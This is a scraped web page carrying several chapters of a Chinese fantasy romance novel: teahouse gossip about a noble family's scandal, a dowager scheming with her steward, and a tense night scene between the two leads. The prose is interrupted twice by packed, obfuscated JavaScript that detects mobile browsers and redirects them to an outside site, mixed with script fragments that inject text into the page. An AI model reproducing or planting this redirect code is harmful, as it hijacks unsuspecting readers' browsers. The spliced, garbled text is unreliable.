RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445953|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他都止不住地脸红害羞呢。” 叶清圆笑道:“有这么夸张?” 她回忆起潘淳玉的相貌,温雅不足,狠戾有余,这样凶巴巴的样貌,竟然很受欢迎吗? 茶博士的心思极为伶俐,殷勤道:“姑娘别不信,虽说小侯爷现在是糙了点,成日皱着眉也不爱笑。可若放在两年前,他着实称得上是一位意气风发的少年郎。” 侯门少爷,天之骄子,相貌又是出了名的英俊周正,他不意气风发,谁意气风发? “那时候莫婉婉还在私塾念书,和祁管事夫妻俩一块住在城南的一座小宅子里。”茶博士露出怀念的神色,“谁也不知小侯爷是怎样对莫婉婉动心的,他行事磊落,也毫不避讳,不怕人议论。总之没过多久,满城的人都知晓他心悦她。” “可惜,还没等到他们的好消息,宋雨阁就出现了。”茶博士斟酌道,“这人是个道士,谁也不知道他是从何处来,什么时候来的。总之城里忽然就多了这么一个人,他和莫婉婉也忽然好上了。” ——好上了。 叶清圆回忆起那幅画,莫婉婉和宋雨阁并肩坐在长亭的木椅上,唇角含笑,眉眼温和,周围开满了粉蓝色的绣球花,想必那时他二人的关系着实很好。 可若是用“好上了”来描述,太过武断,也很不尊重他们。 “或许他们二人只是好朋友呢?君子发乎情止乎礼,有人可亲眼见过他们怎么样吗?”叶清圆的语气冷淡下来。 “这倒是没有见过。不过二位想,一个尚在读书的姑娘,一个出家的道士,就算真有什么,也懂得避着人不是?”茶博士像是坚信他们之间不清白,“况且这种事又并非捕风捉影,半个金璧城的人可都知道了。” 叶清圆皱起眉:“那潘淳玉是什么态度?” “要不说小侯爷痴情呢?纵使出了这么不好的传言,他也依旧要娶她。”茶博士叹息道,“莫婉婉斟酌以后,估计也是觉得跟着个道士,不如进侯爵府当人上人、过锦衣玉食的日子吧。总之后来,二人还是成婚了,皆大欢喜。” 叶清圆听出了无限惋惜之意:“听你的意思,似乎没那么欢喜吧?” “大家心里都门儿清。莫婉婉心思不正,分明心里装着一个宋雨阁,还偏要为了荣华富贵嫁入侯爵府。”茶博士纠结了一下,“那时说得最难听的,甚至说到,她父亲都因为贪赃而满门抄斩,她又能好到哪里去?当初潘小侯爷救下她,也怕是留下了祸根罢了。” 叶清圆气得将茶盏搁在桌上,怒道:“怎么可以这么说?这些人终究都没有真凭实据来证明他们的那些臆测,为什么要往莫婉婉的身上泼去这么多脏水,实在过分!” 茶博士也点头:“姑娘说得是。小的在这客栈许多年,每天都有许多客官来此谈话闲聊。可想而知,那段时日里,城中流传着多少有关莫婉婉的恶评。” 叶清圆气得不想说话了,靠在椅背上,转头看窗外大雨瓢泼。 谢尽芜淡声道:“她后来和宋雨阁又是如何了?” “后来嘛,宋雨阁始终放不下莫婉婉,总偷偷写信给她,极尽温言蜜语。二位说,侯爵府是什么地方?他们的一举一动能瞒得过谁?没过多久,那些信就被潘小侯爷截下了。” 茶博士啧了一声:“三人之间又发生了什么纠葛,这不是我们百姓能知道的。不过此事一出,小侯爷终于也是明白了,情之一字,强求不来。他这才把莫婉婉放出了府,与那宋雨阁一同云游去。” 所以,这是一个对心仪的姑娘爱而不得、无奈之下只好放手的故事? 如此说来,潘淳玉该是清白、无辜的一方,可结合潘府诸人的表现来看,整件事却说不出的怪异。 若是事情的真相确实如茶博士所说,潘府是为了周全莫婉婉的名声,才将整件事对外隐瞒。那么现今可到了槐妖危害府中之人的生死攸关的时刻,他们还要为了名声,而置府中众人的性命于不顾吗? 42. 公道 茶博士抚掌而叹道:“潘府对待莫婉婉如此宽厚,她贪图荣华富贵嫁给潘淳玉,这暂且不讲。可成婚以后,她又为何与那宋雨阁纠缠不清?可怜潘小侯爷被欺瞒得彻底,事后还如此宽宏大度地将她送出城,与那宋雨阁双宿双飞!” “我们贫苦人家是不懂那些规矩和门道的。但是,这件事谁做得公道,我们却看得清楚。潘府不仅好人做到底,给他二人远走高飞的机会,事后还对外宣称莫婉婉乃是病故,堵住了悠悠众口。无论如何,他们的做法,可谓是仁至义尽了。” 茶博士小声道:“二位有所不知,堂堂侯爵府,就因为这件事,当时竟被满城的人看笑话呢!” 叶清圆作慨叹状:“所以,潘公子才会变得不苟言笑了?” “正是哪!”茶博士叹了一口气,“个中滋味,也不是我们可以体会的。” 叶清圆实则一点都不同情他,只问道:“那么鉴花楼的那位绘弦姑娘呢?她与潘公子的关系……” 茶博士睁大双眼:“姑娘莫非不知,这绘弦姑娘的相貌,与莫夫人很是相似吗?” 叶清圆回想起竹林小院里的那副画像。 那画中人是莫婉婉,可她还是一眼就看成了绘弦。 想必这二人的相貌也是像极了。 “所以……”叶清圆的心头涌上一股厌恶,“潘公子是把绘弦姑娘当成了替身?” 难怪绘弦如此心灰意冷。一手的绝世技艺竟也甘心抛去,沦落到一个无人知晓的角落去过后半生。 “绘弦也是个一厢情愿的糊涂虫。她总妄想能嫁进侯爵府,成为第二个莫婉婉。举手投足都要学着莫夫人,还去念了书,舞文弄墨起来。可崔老夫人怎么会允许?”他摇头道,“莫婉婉能嫁进侯爵府,那可是潘小侯爷在祠堂跪了一整夜、又写信求他大哥潘璞玉亲自出面,崔老夫人才勉为其难点头的。” 他话说一半,叶清圆心里已经明白了。 绘弦是谁?只因为和莫婉婉长得几分相似,才得了潘淳玉的另眼相待。可即便再像,她在潘淳玉眼里也不过是个卖艺为生的琵琶女,进不得侯爵府的大门。 难道她以为潘淳玉会为了娶她,再去跪一夜的祠堂吗? 痴心妄想。 叶清圆无声地叹了口气:“一团乱麻。” 茶博士也笑道:“姑娘说得是。这些事当初闹得也是满城风雨了,就连远在北疆的大少爷潘璞玉都来了一封信,据说是狠狠骂了小侯爷一顿呢!至今仍有人私下里讨论。只不过碍于侯爵府的面子,大伙都不明着讲罢了。” 恰在此时,几乎没怎么开口的谢尽芜忽地问道:“金璧城别称‘小京畿’,城中勋爵不止潘府一家。可听你讲起来,似乎潘府的权势尤其大,满城的人都要看他们的面子?” 茶博士的双眼蓦地亮起来:“公子猜得不错。那潘府自然与别的王公贵族不太一样。据说,潘家大爷潘璞玉,与那修真世家可是有很深的交情!” 谢尽芜颔首,又道:“你方才说过,莫婉婉年少时被祁管事夫妇收为义女,与他二人同住。那么她嫁入潘府之后发生的事,想必祁管事也是知道?” 茶博士道:“这个自然。不过,祁管事从未提起过莫婉婉。想必也是对这名义女感到无可奈何,甚至羞于提起吧。” “养出这样一个不孝不义的姑娘,祁管事在侯爵府也抬不起头来,他这段时日,头发可是白了不少!” - 窗外倾斜的日光照进来,投射在屋内的六扇雕花屏风上。紫金香炉中轻烟袅袅,烟雾在光柱中升腾缭绕,满室清冷的檀香中,混杂一股淡淡的血腥气。 层层堆叠的帐幔被细碎的风撩动。片刻后,帘帐微动,一道苍老虚弱的声音响起:“你们都退下。” 话音落下,两名丫鬟垂首退出帘帐,绕过笼着袖子站在帘外的管事祁仕业,同时轻轻带好木门。 周遭一片寂静,两名丫鬟的足步声逐渐远去。窗外微风拂过树梢,发出簌簌的轻响。 “祁管事,听说北疆来了信?” 祁仕业敛眉低目,视线落在地砖上的花纹,淡声道:“回老夫人的话,正是。” “嗯,”崔老夫人轻咳了一声,“好端端的,北疆怎么会来信呢?信里说什么?” “大少爷听说了府里发生的事。心中担忧老夫人与二少爷,特意告假三日,要回来看看老夫人和二少爷,预计后日就到。” 崔老夫人斜倚在床榻,鬓发零星见了白,她冷笑一声:“他担心我?笑话!” 雕花拔步床发出极轻的声响,她挣扎着坐起身子,转头看去。 祁仕业的身影在轻纱帘帐上投下淡淡的清瘦的影子。他的脊背挺得很直,头颅也从不肯放低,始终是一副不卑不亢的模样。 崔老夫人心中清楚,这个管事自小就为侯爵府做事,小时候也曾是老侯爷的陪读,与老侯爷甚至称得上是手足之交。他的行事手段向来稳妥利落,叫人挑不出一丁点的错。 城中贵女夫人们寒暄交际时,有不少人竟是羡慕崔老夫人能有这么得力的助手,轻而易举就将侯爵府打理得井井有条。 最叫人放心的是,祁仕业膝下并无子女。 他样样都好,可就一点不好。他从未把她当过侯爵府的女主人。 纵使再唤她一万次“老夫人”,祁管事的眼中始终冰冷一片,无丝毫恭敬之意。 以往时候祁管事对她如此冷淡,她都睁一只眼闭一只眼,过去了。可是自从府里出事、市井坊间流言甚嚣尘上以后,崔老夫人对他的容忍立刻化作了满腔恨意。 她恨祁仕业始终不肯承认她的侯爵府夫人身份,她恨整个金璧城的人都默认潘璞玉才是侯爵府的继承人,而她的儿子潘淳玉,只不过是依靠祖荫与父兄的庇佑,才能混份差事的纨绔。 她最恨的是,祁仕业枉称“光风霁月”,谁曾想他竟能教养出莫婉婉那样狠毒的姑娘!毁了淳儿一辈子不说,如今化作厉鬼,竟还阴魂不散,妄图对他们纠缠不放! 崔老夫人的喘.息粗重,怒火猛地烧起来。 “潘璞玉担忧我?哼,他是来确认我是否如传闻那样命不久矣吧!”她的嗓音蓦地尖利,将近半个月的卧病在床让她的气息不稳,语声颤抖起来,“他从哪里听说的消息?金璧城中百姓再不懂分寸,也向来没有人敢乱嚼我们侯爵府的舌根!” 她缓了口气,压抑着胸口翻涌的怒意:“祁管事,这种传言,大少爷是怎么知道的?” 祁仕业的神情自始至终都没有波动,他淡声道:“纵使老夫人不是大少爷的生身母亲,却是侯爵府的老夫人,是他名义上的母亲。大少爷虽远行千里,却仍旧心系家中亲眷,这般孝心,老夫人该欣慰才是。” 顿了一顿,他又补充道:“老夫人久病初愈,该注意休息。” “我可受不起他的孝心!”崔老夫人发了一通脾气,力气也快用光了,嘶哑道,“你看着他长大,他是个什么性情,你又不是不知道。侯爵府的嫡长子!九岁就能跟着老侯爷上战场杀敌的人,不说这府中上下,哪怕是整个金璧城,谁敢忤逆他?谁又敢和他大声讲话?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14445954|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁管事垂眼道:“老夫人多虑了。” “你不必装得一无所知!”崔老夫人闭上眼睛,苍白干燥的唇微动,“我知晓,因为莫婉婉的事,你心中始终记恨我是不是?这次的信,也是你写给潘璞玉的,是不是?!” 她嘲讽似的轻笑一声:“罪臣之女!当初若非淳儿救了她,她如今也是被卖进窑子的命!我叫你收她为义女,不过是借个名头稳住淳儿、不叫他太过胡闹而已,你竟还当真了?” “祁仕业,你这辈子无儿无女,却对那丫头分外上心,难道是真的把她当作女儿了?” 崔老夫人轻哼一声:“我早就和你讲过。罪臣之女,上梁不正下梁歪,她从根上就烂透了!她父亲连朝廷救济的银两都敢贪,整个莫府大肆挥霍这些救命钱,竟还十分心安理得!莫婉婉从小就生长在这样的家里,每日耳濡目染,坏心思都不知道学了多少!” 祁管事蓦地皱眉:“莫府之罪,与婉婉无关。她不知道自己生父所做的事情,且她一向天真善良,对万物总抱有悲悯之心。是老夫人对她的成见太深了。” “悲悯之心?”崔老夫人像听见什么笑话一样,“既有悲悯之心,她当初又为何会对淳儿起了杀心?” 话音落下,祁管事哑口无言。 “祁仕业,你给潘璞玉写信,想让他来为你主持所谓的‘公道’。可你有没有想过,在潘璞玉这种杀敌万千的人眼中,莫婉婉的性命根本渺小如草芥。” 崔老夫人放轻了声音,手指有些底气不足的颤抖:“你这一招,太愚蠢了!” 祁管事勉力压抑着眉宇间的怒气,淡声道:“大少爷虽远在北疆,可城中未必没有他的手下。过去的事……或许大少爷只是无暇计较。” 崔老夫人眯起双眼:“你在威胁我?” 祁管事道:“不敢。” 崔老夫人的胸腔剧烈起伏着,怒意到了极点,反倒笑出了声。 她的伤还没好利索,笑了两声后,便闷闷地咳嗽起来。 祁管事皱起眉,转身就要出去唤人。崔老夫人却忽地叫住了他:“慢着!” “老夫人有何吩咐?” 崔老夫人忍着喉咙的痛意,闭目呼出一口气:“莫婉婉的事先放下不提。祁仕业,我只交代你一件事。” 祁管事的视线落在层层堆叠的帘帐上,目光冷静又理智。他眼中恨意满溢,似乎要化作利剑,将躺在床榻上的妇人刺杀当场。 “明日办一场宴席,我和淳儿亲自出面,谢过那两个年轻人对侯爵府的相助。然后想个办法,尽快把他们送出金璧城,不要再来掺和是非。” 祁管事冷声道:“旁人是走是留,并非我们可以做主。偌大的金璧城中盘踞了多少王公贵族,又不是每一条街巷都归侯爵府管,我们有何理由叫人离开?” “你不会使些手段么?威逼、利诱,什么办法不行?”崔老夫人的眉宇间有些烦躁,“侯爵府的老管事,连这点事都办不好?” “老夫人的意思是,”祁管事斟酌道,“在大少爷到金璧城之前,将那二位送走,免得大少爷看出什么来,对吗?” 他的话语中明显地带着刺,可崔老夫人此时焦头烂额,也顾不得这许多了,摆手道:“你快去办就是!” “是。” 祁仕业垂首,转身走出满是檀香味的房间。 礼佛之人,最爱檀香的清冷。 可惜,崔老夫人既非诚心,亦无慈悲。 他垂下眼帘,自嘲地轻笑一声,鬓边白发在稀薄的日光中泛着银亮的光芒。 43. 梨汁 谢尽芜醒来的时候天已经黑了。 白天的狂风暴雨将窗外的芭蕉树打得有些发蔫,廊檐的积雨滴落在窗台上,声音清脆悦耳。 他抹去额前的薄汗,呼吸急促而不稳定。 窗外传来簌簌的枝叶响动,谢尽芜抬手推窗,一阵潮湿冷凝的气息扑入屋内。 窗前案头上的几张被镇纸压住边角的宣纸被风拂起,哗啦啦一阵响动。 那图纸上隐约可见亭台楼阁、山石花树,像是某种设计图。 他压抑着胸中沸腾的恨意与痛苦,熟悉的痛楚从心口蔓延出来,潮水一般在四肢百骸流窜。 邪印又在发作。可他对痛楚早已麻木。 寂静的夜里偶然响起几声蛙鸣,谢尽芜扭脸向窗外看去,净白的脸颊上隐约现出了鳞片一样的痕迹。 蓦然,他视线一顿。 窗外对面的房间,烛光明暖。窗纸上映出一道清瘦的身影,正低头忙碌着什么,烛火随着她的动作而微微晃动。 那是叶清圆的房间。 大晚上的她不乖乖睡觉,在忙活什么? 谢尽芜的心底生出些好奇,视线不由在那道朦胧的身影上停顿了一瞬。然而好奇也只是一瞬间,他漠然地收回目光,阖上双眼,咬牙捱过这份熟悉的、足以撕裂心肺的痛楚。 眼帘闭上了,那晕黄的光却好像仍旧在视野里晃动。脑海中浮现出投射在窗纸上的她的身影轮廓,分明是纤细到不堪一击的,却莫名叫他觉出安心。 如此过了片刻,谢尽芜额头和侧颊已经冷汗密布,邪印的力量却仍旧与他僵持不下。 那条栀子花的白玉吊坠垂在他的锁骨,柔和的轮廓压住他的肌肤,心口那股灼烧般的刺痛感似乎减退了些许。 “吱呀”一声,直棂窗被人推开了。 谢尽芜稍微撩起眼——叶清圆素面朝向月光,深深吸了一口雨后的清新空气,小声哀嚎道:“好难啊!” 哀嚎之后,她忽然站直了身子,伸展双臂,对着空气咻咻打了两拳。 谢尽芜沉默。 片刻后,叶清圆发.泄过烦躁,就这么顺势趴在了窗前的案几上,脸枕着手臂,一只手探出窗外。 檐上的滴水落在她的手背,缓慢滑落到指尖。纤白的手指颤了一下,却并未收回。 谢尽芜的视线落在那皙白的手指,半晌后,才艰难地挪开目光。 “谢尽芜?” 叶清圆坐直身子,刚要关窗,猝不及防就看见斜对面房间里的谢尽芜。 他不睡觉,也不点灯,就这么冷着一张欺霜胜雪的俊脸,枯坐在朦胧的月光下。黑润的眼眸里泛着隐约的水色,莫名地有些委屈。 叶清圆好奇地问:“你在干什么呢?” 怕吵醒其他房间的客人,她只好压低了声音,也不知谢尽芜能不能听清。不过修道之人的五感都比常人敏锐许多,他的修为这么高,想必是可以听到的吧? 谢尽芜还是冷着脸,没有任何表情地回望着她。 ……好吧!叶清圆低头看案几上乱糟糟的一团,心想反正谢尽芜也不睡,干脆请他过来一叙好了。 于是她抬起手,做了个手势,示意谢尽芜过去。 这下谢尽芜有所反应了,他浓秀的眉蹙起,黑润的眼眸中写满了不可思议。 叶清圆又做了个手势,两秒后,谢尽芜终于起身了。 他冷着一张脸,关上了木窗。 叶清圆的手顿在了半空:“……” 罢了,求人不如求己。不就是编个手串吗?有什么难的。 她从案上拿起一颗梨,也懒得削皮了,咔嚓就咬下一大口。 梨汁清甜微凉,叶清圆懒洋洋地靠坐在椅子里,窗外是雨后清新的气息,口中咀嚼着甜美的白梨。 不过几息之间,她便把谢尽芜抛在了脑后。 因此,当轻缓的扣门声响起,叶清圆竟一时没有反应过来。 客栈的过道里有清新的冷风在游走,谢尽芜站在门外,身形挺拔,脸颊干净,像是从月亮河里走出来的人。 今夜并不热,他不知怎地,额头却起了一点薄汗,脸颊又白得很,衬得那双眼睛愈发黑亮清润。 叶清圆猝不及防被他的脸震撼了一下,反应过来后,又微微笑着让他进门:“愣着干嘛?快进来坐。” 谢尽芜颇为客气地在椅子上坐下。他很懂分寸,什么都不看,什么也不碰,视线只落在自己交叠的双手上,等着叶清圆开口。 叶清圆给他倒了一杯水,笑吟吟道:“这么晚了,怎么还不睡呀?是在看月亮吗?” 她话音落下,张嘴又啃了一口梨,吃得香喷喷。谢尽芜“嗯”了一声便不说话了,于是寂静的房间里,只剩下她那轻不可闻的咀嚼声。 片刻后,谢尽芜轻声开口:“以后不要随意叫别人进你的房间。” “我没有啊,”叶清圆莫名道,“我从不会叫人来的,你是第一个。” 晚风吹起轻罗帐,有种莫名的气氛在房内弥漫、游走,裹着不知从何而来的清甜花香。叶清圆浑然不觉,甚至在果盘里挑了一只漂亮的梨,递给谢尽芜。 吃了她的梨,待会就不可以拒绝她的求助了。谢尽芜画符这么厉害,想必是心灵手巧的,他编的手串,一定也很漂亮。 叶清圆心里的算盘打得震天响,明亮端丽的眼眸中染上狡黠的笑意。 谢尽芜的目光从那只完好的梨扫过,却没有接。他朝那只被她啃过的白梨伸出右手,掌心向上。 这是一个索求的姿势。 “……嗯?” 叶清圆怔了一下,不太明白他什么意思,却还是乖乖把梨递给了他。 谢尽芜接过,手指很小心地没有碰到她咬过的地方。 他从桌上拿起短刀,稍微打量一瞬,随即手腕轻轻用力,削去梨皮。 透明黏腻的梨汁漫出来,蜿蜒流淌在他的手指。叶清圆的视线落在他被浸湿的手指,蓦地感到浑身不自在。 那白梨被她咬过,梨汁里或许还混了她的口水。谢尽芜不是洁癖很严重的吗?怎么如此不拘小节了? 他的手很稳,修长有力的手指托住梨的底部。皙白的手背青筋隐现,似乎蕴着惊人的力量,却隐而不发。 一圈圈梨皮弯出流丽的弧度,坠落在果盘中。谢尽芜垂着眼帘,将余下的果皮削了个干净。 而后,他举起这只被削好的白梨,漠无表情地还给了叶清圆。 漫不经心擦拭了手,他开口问道:“这么晚找我,是有什么事吗?” 叶清圆接过这只白梨,思索一瞬,轻声道:“ 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谢尽芜的眼睫微不可察地颤动,视线不自知地落在她的唇瓣上。微红水润的唇,没有涂胭脂,却带着梨汁的清甜。 他的喉结滚动一瞬,扭过脸去。 “我可以摸一下吗?” 谢尽芜惊讶地睁大双眼:“什么?” “你脸上的东西……”叶清圆俯下.身,抬手比划了一下,“不可以也没关系。我只是有点好奇,因为看起来真的很像某种鳞片……可是人怎么会长鳞片?” 谢尽芜没有作声,一双清透幽邃的眼潭望住她,像是深山里的冷泉。 叶清圆碎碎念结束,见他没有拒绝,鬼使神差地就伸出手,指尖缓慢地触碰到他眼尾和侧脸的鳞片。 果真如想象般冷硬、粗糙。 “一定很疼吧?” 柔软的血肉中长出这种鳞片似的东西,想想都叫人不寒而栗。 “不比刀剑伤更痛。”谢尽芜避开她担忧的目光,淡声道,“每次都这样,早已习惯了。” 每次都这样,早已习惯了。 一颗心蓦地柔软起来,叶清圆的手心托在他的脸颊,眸中流露出温和的意味。 她后知后觉地意识到,谢尽芜此刻看起来竟然很委屈、可怜。 尤其是他在月光下的时候。 指尖稍微施了点力,她的指腹传来尖锐的刺痛:“这样你会疼吗?” “还好。”谢尽芜想了一个稳妥的说法。 邪印发作的时候,他的感知会变得极为敏锐。不过,最初那种撕心裂肺的痛楚过后,他对于外界的感知也会随着邪印发作而慢慢消退。 譬如此刻。他的额头因疼痛而冒出冷汗,敲骨吸髓般的痛楚如烈火灼烧,蔓延至四肢百骸。 然而,短短两个时辰之后,他的感官将会彻底失灵。 这让他感到隐隐的恐惧。他宁愿与痛楚相伴、挣扎一生,也不想变成一个无知无觉的怪物。 谢尽芜抬起眼帘,目光似乎有些躲闪:“你不觉得很可怕吗?” “不会啊,”叶清圆的指尖不自觉地从他的侧脸滑落,停在他脖颈处的鳞片上,“很漂亮。” 44. 手串 谢尽芜的双眼一瞬睁大,他看着她近在咫尺的嘴唇,清甜的梨香在鼻端萦绕。 柔软的指腹点在他的脖颈肌肤上,若即若离,力度轻得叫人心里发痒。 谢尽芜的气息几乎是一瞬就乱了,白梨的清甜香气吸入,宛如一道烈火,横冲直撞烧进他的肺腑里。 “可是我不希望我的朋友再忍受这种痛苦了。谢尽芜,你当初在初阳镇出现,是为了拿到本命珠对不对?” 叶清圆抬起眼,神色认真而诚恳:“你的修为极高,也不屑于借助本命珠来提升什么。唯一的可能,就是本命珠可以帮你缓解邪印带来的痛苦。我说得对吗?” 她虽经验匮乏,却也并不笨。相处许久,她多少也能猜出一点。 谢尽芜睁大双眼,目光一瞬不转地看着她。 在她说到“我的朋友”时,他的脸色很明显变化了一瞬,唇角勾起一抹嘲讽的笑意。 “那么,我该如何帮你呢?”叶清圆的掌心按在他的肩膀上,话语里有安慰的意味,“谢尽芜。” 谢尽芜的喉结动了一下,他们隔得很近,连呼吸都交融。 他斟酌着开口问她:“你不会后悔吗?” “有什么好后悔的?总不会是把我吃了吧?”叶清圆挑起眉,有恃无恐地笑道。 系统到现在都没有发出警告,甚至还总是催促她去解开谢尽芜的邪印,说明这也没什么危险的。 谢尽芜闻言一怔,片刻后,也轻笑出声:“你真是胆大包天。” “所以到底怎么才能帮到你?”叶清圆的指腹点在鳞片上,若有所思道,“要我眼睁睁看着你痛苦,我是绝对做不到的。” 温暖的房内,明烛轻曳。木窗不知何时关上了,只留了一道缝隙。 窗外清新而潮湿的风钻过缝隙,细细地流淌进来,案几上的流苏轻轻摆动。 他们一站一坐,谢尽芜端坐在椅中。叶清圆则俯下.身低头,与他的目光平视。 温热的掌心按在他的肩头,因着明显的体型差,她的大半个身子向前探去。挨得太近了,大腿无意中竟碰到了他的膝盖。 谢尽芜霎时脊背一僵,膝盖微不可察地移开半寸,避开与她的接触。 这是一个暧昧至极的姿势。他的手随意搁在膝头,却因着体型差的优势,手臂与双腿近乎拢住了她的身躯。 二人的身影投射在窗纸上,亲密无间的姿势,简直像是在拥抱。 叶清圆有些不明所以:“嗯?你怎么不说话了?” 谢尽芜的眼神蓦地一暗,他盯着她的唇瓣,声音低得快要听不清了:“……那你别动。” 叶清圆从善如流地不动了。她垂下眼睫,神情认真地望着谢尽芜。 二人对视半晌,叶清圆的手指颤了一下,心里莫名生出了退怯之意。 她敏锐地察觉到,谢尽芜此时的眼神有些可怕。 他看着她,浓浓的阴翳与渴.望在那双比冷泉还干净的眼眸中聚拢。 叶清圆的心砰砰跳起来,崩溃地呼唤系统:他不会真的要吃人吧?! 谢尽芜抬起手,宽大温热的手掌不由分说地扣住了叶清圆的手,十分强硬地把她的手按在了自己的脸颊上。 叶清圆的脑海空白了一瞬。 在窗前吹了许久的冷风,他的脸颊微微发凉,摸起来也并不柔软。他的骨相生得好,下颌线流丽且清晰,贴在她细嫩的手腕内侧,像是一道痕迹,印在了她的肌肤。 谢尽芜微微撩起眼皮,观察着她的反应。在她没有明确表示拒绝后,眼中露出一点点满足与放松。 叶清圆怔怔地:“谢尽芜……” “不要说话。” 片刻后,谢尽芜侧过脸。他的呼吸颤抖着,将脸颊埋在了她尚在颤抖的、温热的手心。 额前的碎发有些长了,发梢拂在他挺直的鼻梁上。顺着手腕向上看去,谢尽芜肤色净白而眉眼、额发俱是乌黑。 他微垂着眼帘,浓秀的眼睫垂落下来,掩住了满是渴.求与贪婪的眼神。明暖的烛光如涟漪般荡开,映出他清隽冷秀的一张侧脸。 手心传来微微冷硬的触感,分不清是鳞片还是什么。叶清圆恍惚想道:他是在示弱吗? 因太过残忍嗜杀而被雪藏的大反派,也会有脆弱的时候吗? 谢尽芜的气息很不稳,柳絮般扑在她的手心。叶清圆的手指蓦地颤了一下,指腹无端拂过他的鼻尖。 谢尽芜的眉心微蹙,攥住她的手忽然用力。 他扯下叶清圆的手,随即手腕微动,指腹用力按在她跳动的脉搏上,轻声笑道:“本命珠早已认你为主。你若是真心想帮我,不如拿出点诚意来。” “还要怎么样,才算有诚意?”叶清圆想再去摸一下他的脸,却被他钳制住,动弹不得。 她疑惑道:“就像刚才那样,还不行吗?” 谢尽芜的视线落在她纤细的手腕上,腕骨微突,淡青色的血管隐在皙白的肌肤下。 脆弱却鲜活的生命。 他就像是再也抵不住诱.惑的瘾.君子,殷润的眼眸中闪过一丝疯狂之色,低声道:“把刀拿过来。” “你要做什么?”叶清圆惊道。 谢尽芜狠狠闭了一下眼,再睁开时已是眸光温沉、嗓音清朗的清隽少年。他轻声笑道:“最有效的办法……之一,就是你的血。” 叶清圆拧起眉,神情凝重:“所以,我的血液里也有着本命珠的灵力吗?” “嗯,”谢尽芜堪称乖巧地点点头,一双黑曜石般的眼珠却在观察着她脸上的任何细微变化。 痛到苍白的唇微微弯起:“你会帮我吗?你说过的,不会眼睁睁看着你的朋友痛苦。” 他刻意加重了“朋友”二字。 叶清圆犹疑了一瞬,一柄短刀静静躺在她的手心。而她的另一只手腕,正被谢尽芜攥在掌心里。 手心朝上,露出手腕内侧的淡青色的血管。 只需要一刀。 她一咬牙,算了,不就是出点血吗?这点小伤与谢尽芜的痛楚比,根本算不得什么。 叶清圆的想法很朴实,只要他别这么难受就行了。 谢尽芜的手掌握住她的手腕,修长的指细微地颤抖着。 “好。”她郑重其事地点头,同时举刀,刀尖寒光一闪,寥落的杀意瞬间冲淡了室内的明暖光晕。 刀锋将要刺破肌肤的一瞬,手腕却被他蓦然捉住,猝不及防间短刀脱手,“当啷!”一声摔落在地。 谢尽芜的视线落在她手中的短刀,脸上笑意消散了些许。仿佛是感到难以置信,她竟真的肯划破血肉,只为了他不再痛苦。 他的手掌宽大,轻而易举制住了她的两只手腕。叶清圆莫名其妙道:“怎么了?不是你想要血吗?” “……不必了。” 谢尽芜按住她的手腕不放,略显粗糙的指腹无意识地摩挲着她腕骨的肌肤,淡声道:“我刚才是与你说笑的。你的血对我来说毫无作用,不要再伤害自己了。” “什么?”叶清圆有一瞬甚至怀疑自己听错了。 触到谢尽芜冷淡的眼神时,她才真真切切地感受到了被戏弄的滋味。 她蓦地用力,将两只手都从他掌心抽了回来,冷声道:“这种玩笑也是可以开的?” 谢尽芜下意识低头,空荡荡的掌心。他的手掌还摊开在半空,指腹残留着细腻温热的触感。只一瞬,就变得空落落的。 幸好,方才的触碰已经叫他的痛楚减轻了许多。他勉力压制住翻涌的邪力,眉目间一派平静。 他怅然若失地收回手,用力闭了闭眼。再度掀起眼帘时,眼中已然恢复以往的冷漠疏离。 “真不知该说你是热心还是愚蠢。”谢尽芜的视线落在窗外的芭蕉,他的声音很轻,“今日若是换作别人向你提出这般要求,你也会毫不犹豫,提刀相助?” 叶清圆皱起眉:“你在胡说些什么?除了你谁会和我开这种玩笑?” “纵使不是玩笑,”谢尽芜扭过脸,明暖的一簇烛火在他的余光里跳跃,这让他的眼眸带了些温度,不再那么幽冷,“纵使真的有人需要你的血,你也聪明些、警惕些,切勿听之任之。” “为什么突然讲这些?”叶清圆也是一头雾水,“你刚才是在试探我吗?” 片刻后,她脑海中忽然灵光一闪,“噢!我明白了。” 谢尽芜把脸转了回来,眼眸中蕴着的期待半遮半掩,一颗心忐忑地跳动着。 他盯着那两瓣红润的嘴唇,既怕她会错了意,又怕她说出什么超出他控制的话来。 “你是担心,如果我放血给别人,体内本命珠的灵力就会减弱吗?”叶清圆自以为很聪明地下了结论,“那你放心好了,既然本命珠对于你的邪印有缓解的效果,我自然不会随意使用。” 她想了想,又很善解人意地问道:“谢尽芜,这样可以吗?” 话虽如此讲,可是心里却有种莫名的失落。原来谢尽芜肯和她同行,也不过是要她的本命珠而已。 谢尽芜听得直皱眉头,他们之间的关系不该是单纯的利用和利益捆绑。她口中话语极尽柔和体贴,不曾想,竟是打心底里认为,他与她同行只为了本命珠。 她的所有关怀与玩笑,甚至那晚在小舟上抱着他的脖子撒娇,都算什么?仅是她的心血来潮、酒后失态吗? 谢尽芜虽常年周旋在各方势力中,于情事一途却不怎么开窍。他的眉头枯皱着,想要反驳、辩解,却不知该如何开口。懵懂纷乱的心绪被搅得不成样子,胸中翻涌的某种东西呼之欲出,却茫茫然不知所措。 两人一站一坐,各怀苦恼。 修颀的身影投射在窗纸上,被明烛的光微微漾动。屋内弥漫着沉默。 谢尽芜想不通,干脆不想了。他那双眼睛生得像冷泉一样,纵使现在满心都是懵懂与疑惑,表面看起来也是清贵冷肃的模样。 窗前的案几上还搁着完成一半的手串,他清了清嗓子,轻声道:“你在做这个吗?” “是啊,”叶清圆回过神来,“刚编好了一半,太难了。累得我腰酸脖子痛的。”< 